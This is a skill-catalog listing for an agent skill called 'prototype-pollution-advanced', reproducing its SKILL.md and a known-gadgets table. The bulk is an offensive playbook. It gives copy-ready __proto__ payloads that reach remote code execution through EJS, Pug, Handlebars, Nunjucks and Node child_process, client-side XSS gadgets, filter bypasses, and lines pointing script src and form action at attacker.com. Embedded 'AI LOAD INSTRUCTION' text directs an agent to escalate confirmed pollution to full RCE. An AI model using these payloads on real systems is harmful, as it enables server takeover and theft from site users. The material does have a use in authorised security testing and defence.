
Prototype Pollution Advanced
- 2.2k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
prototype-pollution-advanced is an agent skill that Advanced prototype pollution playbook - server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basi
About
The prototype-pollution-advanced skill. Advanced prototype pollution playbook - server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadgets. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load [../prototype-pollution/SKILL.md](../prototype-pollution/SKILL.md) first for fundamentals (merge sinks, vs , basic probes). SERVER-SIDE PP → RCE ### 1.1 Node.js child_process.spawn - Shell/ENV Injection When or is called without explicit / options, it inherits from : Alternative ENV pollution: ### 1.2 EJS (Embedded JavaScript Templates) EJS reads from object properties. Polluting injects code into the compiled template function: Detection: any EJS call after pollution triggers it. Polluted prototype properties appear as template variables: --- ## 2. CLIENT-SIDE PROTOTYPE POLLUTION ### 2.1 jQuery Gadgets performs deep merge - classic PP sink.
- [prototype-pollution](../prototype-pollution/SKILL.md) - LOAD FIRST for PP fundamentals, merge-sink detection, basic p
- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) - template engine RCE context (
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) - client-side PP gadgets ultimately achieve XSS
- Find merge sink (../prototype-pollution/SKILL.md Section 0)
- Identify technology stack:
Prototype Pollution Advanced by the numbers
- 2,234 all-time installs (skills.sh)
- +121 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #271 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
prototype-pollution-advanced capabilities & compatibility
- Capabilities
- [prototype pollution](../prototype pollution/ski · [ssti server side template injection](../ssti se · [xss cross site scripting](../xss cross site scr · find merge sink (../prototype pollution/skill.md · identify technology stack:
- Use cases
- security audit · testing · debugging
What prototype-pollution-advanced says it does
Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection.
npx skills add https://github.com/yaklang/hack-skills --skill prototype-pollution-advancedAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.2k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
How do I apply prototype-pollution-advanced correctly using the SKILL.md workflows and reference files?
Advanced prototype pollution playbook - server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed p.
Who is it for?
Developers and software engineers working with prototype-pollution-advanced patterns from the skill documentation.
Skip if: Skip when cached docs are empty, boilerplate-only, or outside the skill documented scope.
When should I use this skill?
Advanced prototype pollution playbook - server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to
What you get
Grounded prototype-pollution-advanced guidance with highlights, triggers, and evidence quotes from SKILL.md.
- Gadget payload
- Trigger condition
- Impact classification
By the numbers
- Documents server-side template engine gadgets including EJS `outputFunctionName` RCE triggers
Files
SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation
AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks,__proto__vsconstructor.prototype, basic probes).
0. RELATED ROUTING
- prototype-pollution — LOAD FIRST for PP fundamentals, merge-sink detection, basic probes
- ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
- xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS
Advanced Reference
Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.
---
1. SERVER-SIDE PP → RCE
1.1 Node.js child_process.spawn — Shell/ENV Injection
When child_process.spawn or child_process.fork is called without explicit env/shell options, it inherits from Object.prototype:
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls'); // inherits shell, env from prototype
// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker codeAlternative ENV pollution:
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}1.2 EJS (Embedded JavaScript Templates)
EJS render() reads opts from object properties. Polluting outputFunctionName injects code into the compiled template function:
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}
// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCEDetection: any EJS res.render() call after pollution triggers it.
1.3 Pug (formerly Jade)
Pug's compiler reads block from object properties:
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}Alternative via self option:
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}1.4 Handlebars
Handlebars template compilation checks type and program on template AST nodes:
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}Simpler via allowProtoMethodsByDefault:
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}1.5 Nunjucks
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}1.6 Express res.render (Generic)
When Express calls res.render(), options merge with app.locals and res.locals. Polluted prototype properties appear as template variables:
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}---
2. CLIENT-SIDE PROTOTYPE POLLUTION
2.1 jQuery Gadgets
$.extend(true, {}, userInput) performs deep merge — classic PP sink.
After pollution, jQuery's HTML methods use polluted properties:
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';
// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body'); // may use polluted property2.2 Lodash Gadgets
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value) // if path is attacker-controlled
// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')(); // sourceURL injected into Function constructor2.3 Script Gadgets in Frameworks
"Script gadgets" are framework code paths that read from Object.prototype and perform dangerous operations:
| Framework | Gadget Pattern | Polluted Property | Impact |
|---|---|---|---|
| jQuery | $.html(), element creation | innerHTML, src | XSS |
| Angular.js | $interpolate | __defineGetter__ | XSS |
| Vue.js | Template compilation | template, render | XSS |
| Ember.js | Component rendering | Various view properties | XSS |
| Backbone.js | _.template | sourceURL | XSS |
2.4 DOM Property Pollution
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these---
3. DETECTION TECHNIQUES
3.1 Black-Box Server-Side Detection
Step 1: Inject and check
POST /api/endpoint
{"__proto__":{"polluted":"yes"}}
Then: GET /api/anything
Check if response contains "polluted" or behavior changes
Step 2: Error-based detection
{"__proto__":{"toString":1}}
→ If server crashes or returns 500, toString was overwritten
{"__proto__":{"valueOf":1}}
→ Same crash-based detection
Step 3: Response differential
{"__proto__":{"status":555}}
→ Check if HTTP status code changes to 555
{"__proto__":{"content-type":"text/plain"}}
→ Check if Content-Type header changes3.2 Black-Box Client-Side Detection
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype
// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
set: function(v) { console.trace('PP detected!', v); }
});3.3 Automated Tools
| Tool | Type | Purpose |
|---|---|---|
| PPScan | Burp Extension | Scans for server-side PP |
| server-side-prototype-pollution | Burp Extension (Gareth Heyes) | Advanced server-side PP detection with multiple techniques |
| ppfuzz | CLI | Fuzz for client-side PP via URL fragment/query |
| ppmap | CLI | Map client-side PP to known gadgets |
---
4. BYPASS __proto__ FILTERS
4.1 constructor.prototype Path
// Instead of:
{"__proto__": {"polluted": "yes"}}
// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}4.2 Bracket Notation Variants
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes (if filter strips __proto__ once)4.3 JSON Key Variations
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}4.4 Key Distinction: Shallow vs Deep
Object.assign does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.
---
5. EXPLOITATION FLOW
1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
└── JSON body parsed and deep-merged into server object
2. Confirm pollution:
└── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally
3. Identify technology stack:
├── Express + EJS → outputFunctionName gadget (Section 1.2)
├── Express + Pug → block gadget (Section 1.3)
├── Express + Handlebars → type/program gadget (Section 1.4)
├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
├── Client-side jQuery → DOM gadgets (Section 2.1)
├── Client-side Lodash → template/sourceURL (Section 2.2)
└── Unknown → try KNOWN_GADGETS.md systematically
4. Craft RCE/XSS payload matching gadget
5. Verify with safe payload first (sleep / DNS callback)
6. Escalate to full RCE---
6. DECISION TREE
Confirmed prototype pollution?
│
├── Server-side or client-side?
│ │
│ ├── SERVER-SIDE
│ │ ├── Template engine in use?
│ │ │ ├── EJS → __proto__.outputFunctionName (Section 1.2)
│ │ │ ├── Pug → __proto__.block (Section 1.3)
│ │ │ ├── Handlebars → __proto__.type (Section 1.4)
│ │ │ ├── Nunjucks → __proto__.type (Section 1.5)
│ │ │ └── Unknown → try each gadget from KNOWN_GADGETS.md
│ │ │
│ │ ├── child_process used anywhere?
│ │ │ ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│ │ │ └── MAYBE → inject and trigger error to reveal stack
│ │ │
│ │ └── No known gadget?
│ │ ├── Try status code pollution: __proto__.status = 555
│ │ ├── Try header pollution: __proto__.content-type
│ │ └── Check KNOWN_GADGETS.md for framework match
│ │
│ └── CLIENT-SIDE
│ ├── jQuery loaded?
│ │ ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│ │ └── Check ppmap for automated gadget detection
│ │
│ ├── Lodash loaded?
│ │ ├── YES → _.template sourceURL gadget (Section 2.2)
│ │ └── _.merge as both sink AND gadget
│ │
│ └── Framework (Angular/Vue/Ember)?
│ └── Script gadget lookup (Section 2.3)
│
├── __proto__ keyword filtered?
│ ├── Try constructor.prototype (Section 4.1)
│ ├── Try bracket notation (Section 4.2)
│ └── Try JSON key variations (Section 4.3)
│
└── Not confirmed yet?
└── Go back to ../prototype-pollution/SKILL.md for detection---
7. QUICK REFERENCE — KEY PAYLOADS
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}
// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}
// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}
// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}
// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}
// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}Prototype Pollution — Known Gadgets Reference
AI LOAD INSTRUCTION: Comprehensive gadget table for prototype pollution exploitation. Load this when you've confirmed PP and need to find a matching gadget for the target's framework/library. Each entry includes the polluted property, trigger condition, impact (XSS/RCE), and affected versions.
---
1. EXPRESS TEMPLATE ENGINES (Server-Side → RCE)
EJS (Embedded JavaScript)
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
outputFunctionName | "x;process.mainModule.require('child_process').execSync('id');s" | Any res.render() call | RCE | All versions with opts merge |
destructuredLocals | Array injection to control variable declarations | res.render() | RCE | EJS 3.x |
escapeFunction | Replace escape function with code | res.render() with HTML escaping | RCE | EJS 2.x–3.x |
client | true → changes compilation mode | res.render() | Code path change | All |
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('COMMAND');s"}}Pug (formerly Jade)
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
block | {"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('COMMAND');//"} | pug.compile() / pug.render() | RCE | Pug 2.x–3.x |
self | true + line injection | Template compilation | RCE | Pug 2.x |
debug | true → outputs source code | Template compilation | Info disclosure | All |
compileDebug | true → includes debug info | Template compilation | Info disclosure | All |
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('COMMAND');//"}}}Jade (Legacy)
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
self | true | jade.render() | Code path change → RCE chain | Jade 1.x |
debug | true | Compilation | Source disclosure | All |
Mustache / Handlebars
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
type | "Program" with malicious body | Handlebars.compile() | RCE | Handlebars 4.x |
allowProtoMethodsByDefault | true | Any template render | Enables prototype method access | Handlebars 4.6+ |
allowProtoPropertiesByDefault | true | Any template render | Enables prototype property access | Handlebars 4.6+ |
helpers | Custom helper functions | Template with {{helper}} | RCE | All |
{"__proto__":{"allowProtoMethodsByDefault":true,"allowProtoPropertiesByDefault":true}}Nunjucks
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
type | "Code" with value containing malicious code | nunjucks.render() | RCE | Nunjucks 3.x |
autoesc | false → disable auto-escaping | Template render | XSS escalation | All |
Twig.js
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
allowInlineIncludes | true | Template include | File inclusion | Twig.js 1.x |
rethrow | Custom function | Error handling | Code execution | Twig.js 1.x |
---
2. LODASH
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
sourceURL | "\u000ajavascript:alert(1)//" | _.template() execution | XSS | Lodash < 4.17.21 |
template | Template string | _.template() | Code injection | All |
imports._.templateSettings.interpolate | Custom regex | _.template() | Code injection | All |
Vulnerable functions (merge sinks, NOT gadgets):
_.merge(target, source)— deep merge, writes to prototype_.defaultsDeep(target, source)— same_.set(obj, path, value)— if path is__proto__.x_.setWith(obj, path, value)— same
// Pollution via merge:
_.merge({}, JSON.parse('{"__proto__":{"sourceURL":"\\u000ajavascript:alert(1)//"}}'));
// Trigger:
_.template('hello')();---
3. JQUERY
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
innerHTML | "<img src=x onerror=alert(1)>" | DOM manipulation | XSS | jQuery 2.x–3.x |
src | "javascript:alert(1)" | Element creation | XSS | All |
href | "javascript:alert(1)" | Link creation | XSS | All |
text | Malicious string | .text() on empty elements | Content injection | All |
Vulnerable functions (merge sinks):
$.extend(true, {}, userInput)— deep merge withtruefirst arg$.fn.extend()— if called with attacker input
---
4. ANGULAR.JS (1.x)
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
__defineGetter__ | Overriding toString/valueOf | $interpolate / $compile | XSS | Angular 1.x |
$parent | Scope chain manipulation | Template expressions | Sandbox bypass | Angular 1.x < 1.6 |
charset | Modified charset | HTTP interceptors | Response manipulation | Angular 1.x |
Angular sandbox escapes + PP: {{constructor.constructor('alert(1)')()}} may work if PP disables sandbox checks.
---
5. VUE.JS
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
template | "<div v-html='\"<img src=x onerror=alert(1)>\"'></div>" | Component creation without explicit template | XSS | Vue 2.x |
render | Custom render function | Component mount | Code execution | Vue 2.x |
staticRenderFns | Array of render functions | Component render | Code execution | Vue 2.x |
compilerOptions | Modified compilation options | Template compilation | Various | Vue 3.x |
---
6. WEBPACK
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
output.library | Modified library name | Build process | Code injection in output | Webpack 4.x–5.x |
output.auxiliaryComment | Code injection via comment | Build process | XSS in built files | Webpack 4.x |
devtool | "eval" → enables eval mode | Build process | Code execution path | Webpack 4.x–5.x |
Webpack PP is exploitable during build time, not runtime. Useful in CI/CD attack chains.
---
7. FASTIFY
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
reply.view options | Template engine options (same as EJS/Pug gadgets) | reply.view() | RCE | Fastify + point-of-view |
rewriteUrl | URL rewrite function | Request routing | Access control bypass | Fastify 3.x |
schema | Modified validation schema | Route validation | Validation bypass | Fastify 3.x–4.x |
---
8. NODE.JS CORE
| Polluted Property | Payload | Trigger | Impact | Versions |
|---|---|---|---|---|
shell | "node" or "/bin/sh" | child_process.spawn() without explicit shell | RCE | All Node.js |
NODE_OPTIONS | "--require /path/to/evil.js" | child_process.fork() / .spawn() | RCE | Node.js 8+ |
argv0 | Malicious argument | child_process.spawn() | Code injection | All |
env | Custom environment variables | child_process.spawn() without explicit env | ENV injection | All |
input | Stdin data | child_process.execSync() | Data injection | All |
stdio | Modified stdio config | child_process.spawn() | File descriptor manipulation | All |
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}---
9. MISCELLANEOUS LIBRARIES
minimist (Argument Parser)
# CLI argument pollution:
node app.js --__proto__.polluted yes
# Pollutes Object.prototype.polluted = "yes"Affected: minimist < 1.2.6
yargs
Similar to minimist — CLI argument parsing can pollute prototype.
qs (Query String Parser)
# URL query pollution:
?__proto__[polluted]=yes
?__proto__.polluted=yesqs versions < 6.0.4 allow prototype pollution via nested brackets.
destr (JSON Parser)
destr('{"__proto__":{"polluted":"yes"}}')
// Older versions allow PP through JSON parsingjson5
JSON5.parse('{"__proto__":{"polluted":"yes"}}')
// Older versions may pollute prototype---
10. GADGET SELECTION FLOWCHART
Identified target stack?
│
├── Server-side Node.js
│ ├── Express + template engine?
│ │ ├── EJS → outputFunctionName (highest success rate)
│ │ ├── Pug → block.type + block.val
│ │ ├── Handlebars → allowProtoMethodsByDefault + template chain
│ │ ├── Nunjucks → type: Code
│ │ └── Unknown → try EJS gadget first (most common)
│ │
│ ├── Fastify + point-of-view?
│ │ └── Same template gadgets apply via reply.view
│ │
│ ├── child_process used? (likely yes in any Node.js app)
│ │ └── shell + NODE_OPTIONS → universal Node.js RCE
│ │
│ └── No template / no child_process?
│ └── Try status/header pollution for impact demonstration
│
├── Client-side JavaScript
│ ├── jQuery?
│ │ └── $.extend(true,...) sink + innerHTML/src gadget
│ │
│ ├── Lodash?
│ │ └── _.merge/defaultsDeep sink + _.template sourceURL gadget
│ │
│ ├── Angular 1.x?
│ │ └── $interpolate + sandbox bypass
│ │
│ ├── Vue 2.x?
│ │ └── template property pollution
│ │
│ └── None of the above?
│ └── Generic DOM property pollution (src, href, innerHTML)
│
└── Build pipeline (CI/CD)
└── Webpack output.library / devtool pollutionRelated skills
How it compares
Use after generic prototype pollution detection skills when the vulnerability is confirmed but the exploitation gadget for the target framework is unknown.
FAQ
Who is prototype-pollution-advanced for?
Developers and software engineers working with prototype-pollution-advanced patterns from the skill documentation.
When should I use prototype-pollution-advanced?
Advanced prototype pollution playbook - server-side RCE, client-side gadgets, filter bypasses, and detection techniques. Companion to ../prototype-pollution/ for basics. Use when you've confirmed pollution and need to escalate to code execution or find framework-specific gadget
Is prototype-pollution-advanced safe to install?
Review the Security Audits panel on this page before installing in production.